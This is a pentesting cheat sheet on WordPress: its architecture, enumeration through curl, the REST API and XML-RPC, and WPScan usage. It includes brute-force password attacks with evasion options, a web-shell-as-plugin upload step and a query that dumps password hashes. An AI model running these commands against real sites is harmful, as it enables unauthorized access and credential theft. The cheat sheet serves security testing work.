> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/cms-servers-others/wordpress.md).

# Wordpress

WordPress is a PHP-based Content Management System (CMS). A standard WordPress installation consists of the WordPress core, themes, plugins, uploads, configuration files, and a MySQL/MariaDB database.

## 00. Basic

### 00.1 Architecture

```bash
+-------------------------------+
|          WordPress            |
+-------------------------------+
              |
      +-------+-------+
      |               |
      v               v
+-----------+     +-----------+
| PHP/Core  |     | Database  |
+-----------+     +-----------+
      |
      +-------------------------------+
      |               |               |
      v               v               v
+-----------+   +-----------+   +-----------+
|  Plugins  |   |  Themes   |   |  Uploads  |
+-----------+   +-----------+   +-----------+

## ------------------| File Structure
wordpress/
├── wp-admin/            ## WordPress Core
├── wp-content/          ## User / Custom Content
│   ├── plugins/         ## Plugins
│   ├── themes/          ## Themes
│   ├── uploads/         ## Media Uploads
│   ├── mu-plugins/      ## Must-Use Plugins
│   └── languages/
│   └── debug.log        ## Debug Log
├── wp-includes/         ## WordPress Core
├── wp-json/             ## REST API
├── index.php
├── license.txt          ## Information
├── readme.html          ## Information
├── wp-activate.php
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php            ## Main Configuration
├── wp-config-sample.php
├── wp-cron.php              ## Scheduled Jobs
├── wp-links-opml.php
├── wp-load.php              ## WordPress Bootstrap
├── wp-login.php             ## Login
├── wp-mail.php
├── wp-settings.php          ## WordPress Bootstrap
├── wp-signup.php
├── wp-trackback.php
├── install.php              ## Installation
└── xmlrpc.php               ## XML-RPC
└── wp-sitemap.xml           ## Sitemap
└── sitemap.xml              ## Sitemap

## ------------------| Database
#### Table prefix does not have to be wp_.
#### Check from wp-config.php for $table_prefix = 'wp_';
wp_users     ## Users, usernames, password hashes
wp_usermeta  ## User roles and metadata
wp_options   ## Site configuration, plugin settings
wp_posts.    ## Posts, pages, custom content
wp_postmeta  ## Additional post metadata
wp_comments  ## Comments
wp_term*.    ## Categories, tags and taxonomies

#### Typical privilege order
Administrator -> Editor -> Author -> Contributor -> Subscriber
```

### 00.2 Installation

```bash
## ------------------| Download
wget https://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz ## Extract
sudo mv wordpress /var/www/html/ ## Move

## ------------------| Create databas
sudo mysql -u root -p        ## Login MySQL
CREATE DATABASE wordpress;   ## Create Database
CREATE USER 'wordpress'@'localhost' IDENTIFIED BY '<PASSWORD>';     ## Create User
GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpress'@'localhost';     ## Grant Permission
FLUSH PRIVILEGES;       ## Reload
EXIT;

## ------------------| Create configuration (wp-config.php)
define( 'DB_NAME', 'wordpress' );           ## Database
define( 'DB_USER', 'wordpress' );           ## Database
define( 'DB_PASSWORD', '<PASSWORD>' );      ## Database
define( 'DB_HOST', 'localhost' );           ## Database
define( 'DB_CHARSET', 'utf8mb4' );          ## Charset
define( 'DB_COLLATE', '' );                 ## Charset
$table_prefix = 'wp_';                      ## Prefix
define( 'WP_DEBUG', true );                 ## Enable Debug
define( 'WP_DEBUG_LOG', true );             ## Write Debug Log
define( 'WP_DEBUG_DISPLAY', false );        ## Disable Debug Display
define( 'DISALLOW_FILE_EDIT', true );       ## Disable theme/plugin file editor
define( 'WP_HOME', 'https://example.com' );     ## Set URLs
define( 'WP_SITEURL', 'https://example.com' );  ## Set URLs

## ------------------| WP-CLI
#### Download & Installation 
curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
php wp-cli.phar --info
chmod +x wp-cli.phar
sudo mv wp-cli.phar /usr/local/bin/wp
#### Information
wp --info           ## Check
wp cli update       ## Update
wp core version     ## Version
wp core is-installed        ## Check Installation
wp core verify-checksums    ## Verify Core Checksums
#### Users
wp user list
wp user list --fields=ID,user_login,user_email,roles
#### Plugins
wp plugin list
wp plugin list --status=active/inactive
wp plugin list --format=json
#### Themes
wp theme list
wp theme list --status=active
#### Options
wp option list
wp option get siteurl
wp option get home
wp option get admin_email
wp option get active_plugins
#### Database
wp db tables
wp db size
wp db check
wp db export backup.sql
#### Configuration
wp config list
wp config get DB_NAME
wp config get DB_USER
wp config get DB_HOST
```

## 01. Enumeration

### 01.1 Manual Enumeration

```bash
## ------------------| WordPress Indicators
curl -sk https://<URL> | grep -iE "wp-content|wp-includes|wp-json|wordpress"
curl -sk https://<URL> | grep -i "generator"
curl -skI https://<URL> | grep -i "api.w.org"

## ------------------| Version Enumeration
curl -sk https://<URL> | grep -i "generator"
curl -sk https://<URL>/feed/ | grep -i "generator"
curl -sk https://<URL>/readme.html
curl -sk https://<URL> | grep -oE '\?ver=[0-9.]+' | sort -u
#### Possible generator: <meta name="generator" content="WordPress 6.x.x" />

## ------------------| WordPress Cookies
wordpress_[hash]
wordpress_logged_in_[hash]
wordpress_sec_[hash]
wordpress_test_cookie
wp-settings-{user_id}
wp-settings-time-{user_id}

## ------------------| REST API
curl -sk https://<URL>/wp-json/ | jq
curl -sk 'https://<URL>/?rest_route=/' | jq                     ## If pretty permalinks are disabled
curl -sk https://<URL>/wp-json/ | jq '.namespaces[]'            ## Get namespaces
curl -sk https://<URL>/wp-json/ | jq -r '.routes | keys[]'      ## Get routes
curl -sk https://<URL>/wp-json/wp/v2/users | jq                 ## Users
curl -sk https://<URL>/wp-json/wp/v2/posts | jq                 ## Posts
curl -sk https://<URL>/wp-json/wp/v2/pages | jq                 ## Pages
curl -sk https://<URL>/wp-json/wp/v2/media | jq                 ## Media
curl -sk 'https://<URL>/wp-json/wp/v2/search?search=test' | jq  ## Search

## ------------------| User Enumeration
https://<URL>/?author=1
https://<URL>/?author=2
https://<URL>/?author=3
#### Automate basic range
for i in {1..20}; do curl -skIL "https://<URL>/?author=$i" | grep -i '^location:' done
#### REST API
curl -sk https://<URL>/wp-json/wp/v2/users | jq
curl -sk https://<URL>/wp-json/wp/v2/users | jq -r '.[].slug'
curl -sk https://<URL>/wp-json/wp/v2/users | jq -r '.[] | "\(.id) \(.name) \(.slug)"'

## ------------------| Plugin Enumeration
/wp-content/plugins/<PLUGIN>/       ## Default location
curl -sk https://<URL> | grep -oE 'wp-content/plugins/[^/"? ]+' | sort -u
curl -sk https://<URL> | grep -oE 'wp-content/plugins/[^"'\'']+' | sort -u
#### Plugin Info
curl -skI https://<URL>/wp-content/plugins/<PLUGIN>/
curl -sk https://<URL>/wp-content/plugins/<PLUGIN>/readme.txt
curl -sk https://<URL>/wp-content/plugins/<PLUGIN>/readme.txt | grep -iE "stable tag|version"

## ------------------| Theme Enumeration
/wp-content/themes/<THEME>/     ## Default location
curl -sk https://<URL> | grep -oE 'wp-content/themes/[^/"? ]+' | sort -u
#### Theme metadata
curl -sk https://<URL>/wp-content/themes/<THEME>/style.css
curl -sk https://<URL>/wp-content/themes/<THEME>/style.css| grep -iE "Theme Name|Version|Template|Author"

## ------------------| Upload Enumeration
/wp-content/uploads/            ## Default
/wp-content/uploads/YYYY/MM/    ## Common structure
curl -skI https://<URL>/wp-content/uploads/
curl -sk https://<URL> | grep -oE 'wp-content/uploads/[^"'\'']+' | sort -u

## ------------------| Sensitive / Backup Files
curl -skI https://<URL>/.env
curl -skI https://<URL>/.git/HEAD
curl -skI https://<URL>/backup.sql
curl -skI https://<URL>/backup.zip
curl -skI https://<URL>/backup.tar.gz
curl -skI https://<URL>/database.sql
curl -skI https://<URL>/wp-config.php.bak
curl -skI https://<URL>/wp-config.php.old
curl -skI https://<URL>/wp-config.php.save
curl -skI https://<URL>/wp-config.php~
curl -skI https://<URL>/.wp-config.php.swp
```

### 01.2 XMPRPC

* General

```bash
## ------------------| Install Tools
pip install python-wordpress-xmlrpc
## ------------------| Example I - Get Profile
### use bpython intractive 
from wordpress_xmlrpc import Client
import wordpress_xmlrpc.methods as wp
client = Client('http://h4rithd.com/xmlrpc.php', 'username', 'password')
client.call(wp.users.GetProfile())

## ------------------| XML-RPC
curl -skI https://<URL>/xmlrpc.php
curl -sk https://<URL>/xmlrpc.php
curl -sk -X POST https://<URL>/xmlrpc.php -H 'Content-Type: text/xml' \
  --data '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>'

## ------------------|  Interesting methods can include
system.listMethods
system.multicall
wp.getUsersBlogs
wp.getUsers
wp.getPosts
pingback.ping

## ------------------| Lists all available XML-RPC methods on the server
curl -X POST http://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" --data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

## ------------------| Get information about Parameters and Return Type of a Method
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>system.methodSignature</methodName><params><param><value><string>method_name</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'

## ------------------| Get Description of a Method
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>system.methodHelp</methodName><params><param><value><string>method_name</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'

## ------------------| Send a Pingback Notification
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>SOURCE_URL</string></value></param><param><value><string>TARGET_URL</string></value></param></params></methodCall>'

## ------------------| Get Pingbacks 
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>pingback.extensions.getPingbacks</methodName><params><param><value><string>URL</string></value></param></params></methodCall>'
```

* Posts

```bash
## ------------------| Creates a new post
#### Core WordPress (wp.newPost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.newPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>post_type</name><value><string>post</string></value></member><member><name>post_title</name><value><string>Hello, World!</string></value></member><member><name>post_content</name><value><string>This is my first post via XML-RPC.</string></value></member><member><name>post_status</name><value><string>publish</string></value></member></struct></value></param></params></methodCall>'
#### MetaWeblog API (metaWeblog.newPost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>title</name><value><string>New Post Title</string></value></member><member><name>description</name><value><string>This is the content of the new post.</string></value></member><member><name>categories</name><value><array><data><value><string>General</string></value></data></array></value></member><member><name>post_status</name><value><string>publish</string></value></member></struct></value></param></params></methodCall>'
#### Blogger API (blogger.newPost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.newPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>title</name><value><string>New Post Title</string></value></member><member><name>content</name><value><string>This is the content of the new post.</string></value></member><member><name>categories</name><value><array><data><value><string>General</string></value></data></array></value></member><member><name>publish</name><value><boolean>1</boolean></value></member></struct></value></param></params></methodCall>'

## ------------------| Edits an existing post
#### Core WordPress (wp.newPost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.editPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>123</int></value></param><param><value><struct><member><name>post_title</name><value><string>Updated Title</string></value></member><member><name>post_content</name><value><string>Updated content here.</string></value></member></struct></value></param></params></methodCall>'
#### MetaWeblog API (metaWeblog.editPost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.editPost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>title</name><value><string>Updated Title</string></value></member><member><name>description</name><value><string>Updated content of the post.</string></value></member></struct></value></param></params></methodCall>'
#### Blogger API (blogger.editPost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.editPost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>title</name><value><string>Updated Title</string></value></member><member><name>content</name><value><string>Updated content of the post.</string></value></member></struct></value></param></params></methodCall>'

## ------------------| Retrieves a specific post
#### Core WordPress (wp.getPost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>123</int></value></param></params></methodCall>'
#### MetaWeblog API (metaWeblog.getPost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.getPost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'

## ------------------| List All Posts
#### Core WordPress (wp.getPosts)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getPosts</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>number</name><value><int>10</int></value></member></struct></value></param></params></methodCall>'

## ------------------| Retrieve Recent Posts 
#### MetaWeblog API (metaWeblog.getRecentPosts)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.getRecentPosts</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>5</int></value></param></params></methodCall>'

## ------------------| Retrieve a List of Blogs for the User
#### Blogger API (blogger.getUsersBlogs)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.getUsersBlogs</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'

## ------------------| Deletes a post
#### Core WordPress (wp.deletePost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.deletePost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>123</int></value></param></params></methodCall>'
#### MetaWeblog API (metaWeblog.deletePost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.deletePost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
#### Blogger API (blogger.deletePost)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.deletePost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><boolean>1</boolean></value></param></params></methodCall>'
```

* Media

```bash
## ------------------| Uploads a new media file
#### Core WordPress (wp.uploadFile)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.uploadFile</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>name</name><value><string>example.jpg</string></value></member><member><name>type</name><value><string>image/jpeg</string></value></member><member><name>bits</name><value><base64>/9j/4AAQSkZJRgABAQEAAAAAAAD/2wCEAAgGBgcG...</base64></value></member><member><name>overwrite</name><value><boolean>1</boolean></value></member></struct></value></param></params></methodCall>'
#### MetaWeblog API (metaWeblog.newMediaObject)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.newMediaObject</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>name</name><value><string>example.jpg</string></value></member><member><name>type</name><value><string>image/jpeg</string></value></member><member><name>bits</name><value><base64>/9j/4AAQSkZJRgABAQEAAAAAAAD/2wCEAAgGBgcG...</base64></value></member></struct></value></param></params></methodCall>'

## ------------------| Retrieve a Specific Media Item
#### Core WordPress (wp.getMediaItem)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getMediaItem</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>456</int></value></param></params></methodCall>'

## ------------------| Get a List of Media Files 
#### Core WordPress (wp.getMediaLibrary)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getMediaLibrary</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>number</name><value><int>10</int></value></member></struct></value></param></params></methodCall>'
```

* Users

```bash
## ------------------| Retrieve a List of Users
#### Core WordPress (wp.getUsers)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsers</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
#### Blogger API (blogger.getUserInfo)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.getUserInfo</methodName><params><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'

## ------------------| Retrieve a Specific User
#### Core WordPress (wp.getUser)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getUser</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>789</int></value></param></params></methodCall>'

## ------------------| Retrieve Profile Information
#### Core WordPress (wp.getProfile)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getProfile</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'

## ------------------| Edit Profile Information
#### Core WordPress (wp.editProfile)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.editProfile</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>first_name</name><value><string>Harith</string></value></member></struct></value></param></params></methodCall>'
```

* Comments

```bash
## ------------------| Add a New Comment 
#### Core WordPress (wp.newComment)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.newComment</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>123</int></value></param><param><value><string>This is a new comment.</string></value></param></params></methodCall>'

## ------------------| Retrieve a List of Comments
#### Core WordPress (wp.getComments)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getComments</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>post_id</name><value><int>123</int></value></member></struct></value></param></params></methodCall>'

## ------------------| Retrieve a Specific Comment
#### Core WordPress (wp.getComment)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getComment</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>456</int></value></param></params></methodCall>'

## ------------------| Edit an Existing Comment
#### Core WordPress (wp.editComment)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.editComment</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>456</int></value></param><param><value><struct><member><name>content</name><value><string>Updated comment text.</string></value></member></struct></value></param></params></methodCall>'

## ------------------| Delete a Comment 
#### Core WordPress (wp.deleteComment)
curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.deleteComment</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>456</int></value></param></params></methodCall>'
```

### 01.2 WPScan Enumeration

#### 01.2.1 Setup

```bash
## ------------------| Install / Update
sudo apt update && sudo apt install wpscan  ## KaliLinux
brew install wpscanteam/tap/wpscan  ## macOS
gem install wpscan  ## Ruby Gem

## ------------------| Setup API Key
WPSCAN_API_TOKEN='YOUR_WPSCAN_API_TOKEN'
#### Permenent 
mkdir -p ~/.config/wpscan && printf "cli_options:\n  api_token: '%s'\n" "$WPSCAN_API_TOKEN" > ~/.config/wpscan/scan.yml && chmod 600 ~/.config/wpscan/scan.yml
#### Temporary
wpscan --api-token WPSCAN_API_TOKEN --url https://h4rithd.com
```

#### 01.2.2 Scan

```bash
## ------------------| Basic
wpscan --url https://h4rithd.com                ## Basic Scan
wpscan -v --url https://h4rithd.com             ## Verbose
wpscan --force --url https://h4rithd.com        ## Force
wpscan --stealthy --url https://h4rithd.com     ## Stealth
wpscan --disable-tls-checks --url https://h4rithd.com       ## Disable TLS Checks
wpscan --random-user-agent --url https://h4rithd.com        ## Random User-Agent
wpscan --url https://h4rithd.com -o wpscan.log              ## Save Output
wpscan --url https://h4rithd.com -f json -o wpscan.json     ## JSON

## ------------------| My Best Scan settings
wpscan --rua --detection-mode mixed --plugins-detection mixed --throttle 700  -e ap,at,cb,dbe,bf,u --url https://h4rithd.com | tee wpscan.out

## ------------------| Proxy / Burp Suite
wpscan --url https://h4rithd.com --proxy http://127.0.0.1:8080
wpscan --disable-tls-checks --url https://h4rithd.com --proxy http://127.0.0.1:8080 

## ------------------| Authentication
wpscan --url https://h4rithd.com --http-auth <USER>:<PASSWORD>  ## HTTP Basic
wpscan --url https://h4rithd.com --cookie-string "name=value; name2=value2"     ## Cookies
wpscan --url https://h4rithd.com --headers "Authorization: Bearer <TOKEN>"      ## Custom header

## ------------------| Threads / Throttle
wpscan --url https://h4rithd.com --max-threads 10   ## Threads
wpscan --url https://h4rithd.com --throttle 500     ## Throttle
wpscan --url https://h4rithd.com --throttle 1000    ## Lower request volume

## ------------------| Custom Directories
wpscan --url https://h4rithd.com --wp-content-dir <DIRECTORY>   ## Custom content directory
wpscan --url https://h4rithd.com --wp-plugins-dir <DIRECTORY>   ## Custom plugins directory

## ------------------| Enumeration Options
vp  ## Vulnerable plugins 
ap  ## All plugins
p   ## Popular plugins
vt  ## Vulnerable themes
at  ## All themes
t   ## Popular themes
tt  ## TimThumb files (old PHP image resizing/caching script)
cb  ## Config backups
dbe ## Database exports
bf  ## Backup folders
u   ## Users
m   ## Media IDs

## ------------------| Syntax
wpscan --url https://h4rithd.com -e vp      ## Vulnerable Plugins
wpscan --url https://h4rithd.com -e ap      ## All Plugins
wpscan --url https://h4rithd.com -e vt      ## Vulnerable Themes
wpscan --url https://h4rithd.com -e at      ## All Themes
wpscan --url https://h4rithd.com -e u       ## Users
wpscan --url https://h4rithd.com -e u1-100  ## Users 1-100
wpscan --url https://h4rithd.com -e cb      ## Config Backups
wpscan --url https://h4rithd.com -e dbe     ## Database Exports
wpscan --url https://h4rithd.com -e bf      ## Backup Folders
wpscan --url https://h4rithd.com -e tt      ## Timthumb
wpscan --url https://h4rithd.com -e m       ## Media
wpscan --url https://h4rithd.com -e m1-100  ## Media 1-100

## ------------------| Detection Modes
wpscan --url https://h4rithd.com --detection-mode passive      ## Passive
wpscan --url https://h4rithd.com --detection-mode mixed        ## Mixed
wpscan --url https://h4rithd.com --detection-mode aggressive   ## Aggressive

## ------------------| Plugin Enumeration
wpscan --url https://h4rithd.com -e ap --plugins-detection passive      ## Passive Plugins (All Plugins)
wpscan --url https://h4rithd.com -e ap --plugins-detection mixed        ## Mixed Plugins (All Plugins)
wpscan --url https://h4rithd.com -e ap --plugins-detection aggressive   ## Aggressive Plugins (All Plugins)
wpscan --url https://h4rithd.com -e vp --plugins-detection mixed        ## Vulnerable Plugins

## ------------------| Theme Enumeration
wpscan --url https://h4rithd.com -e vt      ## Vulnerable Themes
wpscan --url https://h4rithd.com -e at      ## All Themes
wpscan --url https://h4rithd.com -e at --themes-detection aggressive        ## Aggressive

## ------------------| User Enumeration
wpscan --url https://h4rithd.com -e u           ## Default
wpscan --url https://h4rithd.com -e u1-20       ## Range

## ------------------| Backup Enumeration
wpscan --url https://h4rithd.com -e cb      ## Configuration backups
wpscan --url https://h4rithd.com -e dbe     ## Database exports
wpscan --url https://h4rithd.com -e bf      ## Backup directories
wpscan --url https://h4rithd.com -e cb,dbe,bf   ## Combined

## ------------------| Password Attack
wpscan --url https://h4rithd.com -U <USER> -P passwords.txt         ## Username
wpscan --url https://h4rithd.com -U users.txt -P passwords.txt      ## Username file
wpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack wp-login   ## WordPress login
wpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack xmlrpc     ## XML-RPC
wpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack xmlrpc-multicall      ## XML-RPC multicall

## ------------------| Better Enumeration
wpscan --url https://h4rithd.com -e vp,vt,u             ## Basic Enumeration
wpscan --url https://h4rithd.com -e vp,vt,u,cb,dbe,bf   ## Multiple
wpscan --url https://h4rithd.com -e vp,vt,u,cb,dbe,bf --plugins-detection mixed ## Normal assessment
wpscan --url https://h4rithd.com -e ap,at,u,cb,dbe,bf,tt    ## Comprehensive (ap and at can generate considerably more requests)
wpscan --url https://h4rithd.com -e ap,at,u,cb,dbe,bf --plugins-detection aggressive    ## Deep enumeration
wpscan --url https://h4rithd.com -e vp,vt,u,cb,dbe,bf --plugins-detection mixed -f json -o wpscan.json

## ------------------| Simple WAF / rate-limit handling
wpscan --url https://h4rithd.com --random-user-agent --detection-mode mixed --plugins-detection mixed --throttle 500  -e ap,at,tt,cb,dbe,bf,u1-50

## ------------------| Stealth Scan
#### stealthy ==> random-user-agent + detection-mode passive + plugins-version-detection passive
wpscan --stealthy --throttle 1000 -e vp,vt,tt,cb,dbe,bf,u1-20,m1-50 --url https://h4rithd.com
wpscan --stealthy --throttle 1000 -e vp,vt,tt,cb,dbe,bf,u1-20,m1-50 -o wpscan-stealth.out --url https://h4rithd.com
wpscan --random-user-agent --detection-mode passive --plugins-detection passive --plugins-version-detection passive --themes-detection passive --themes-version-detection passive --throttle 1000 -e vp,vt,tt,cb,dbe,bf,u1-20,m1-50 -o wpscan-stealth.out --url https://h4rithd.com

## ------------------| Mixed (Recommended Scan)
wpscan --random-user-agent --detection-mode mixed --plugins-detection mixed --plugins-version-detection mixed --themes-detection mixed --themes-version-detection mixed -e ap,at,tt,cb,dbe,bf,u1-50,m1-100 -o wpscan-mixed.out --url https://h4rithd.com

## ------------------|  Aggressive / CTF Scan
wpscan --random-user-agent --detection-mode aggressive --plugins-detection aggressive --plugins-version-detection aggressive --themes-detection aggressive --themes-version-detection aggressive --plugins-version-all --themes-version-all --plugins-threshold 0 --themes-threshold 0 --max-threads 10 -e ap,at,tt,cb,dbe,bf,u1-100,m1-100 -f json -o wpscan-aggressive.json  --url https://h4rithd.com
```

## 02. Other

### 02.1 WebShells

```bash
## ------------------| WPForce
git clone https://github.com/n00py/WPForce.git && cd WPForce
python yertle.py -u "<username>" -p "<password>" -t "<URL>" -i

## ------------------| Manual
#### Create Plugin
wget https://raw.githubusercontent.com/leonjza/wordpress-shell/master/shell.php
zip -r shell.zip shell.php
####  Upload to
http://<IP>/wp-admin/plugin-install.php
```

### 02.2 Password Crack

```bash
## ------------------| WPScan
## ------------------| Password Attack
wpscan --url https://h4rithd.com -U <USER> -P passwords.txt         ## Username
wpscan --url https://h4rithd.com -U users.txt -P passwords.txt      ## Username file
wpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack wp-login   ## WordPress login
wpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack xmlrpc     ## XML-RPC
wpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack xmlrpc-multicall      ## XML-RPC multicall

## ------------------| WPForce
git clone https://github.com/n00py/WPForce.git && cd WPForce
python2 wpforce.py -w <Password/List> -i <UserName/List> -u <URL>

## ------------------| WpCrack
wget https://raw.githubusercontent.com/22XploiterCrew-Team/WpCrack/1.x/WpCrack.py          
python WpCrack.py -t <URL> --p <Password/List> -u <UserName>
Username/Password
select user_login,user_pass from wp_users;
```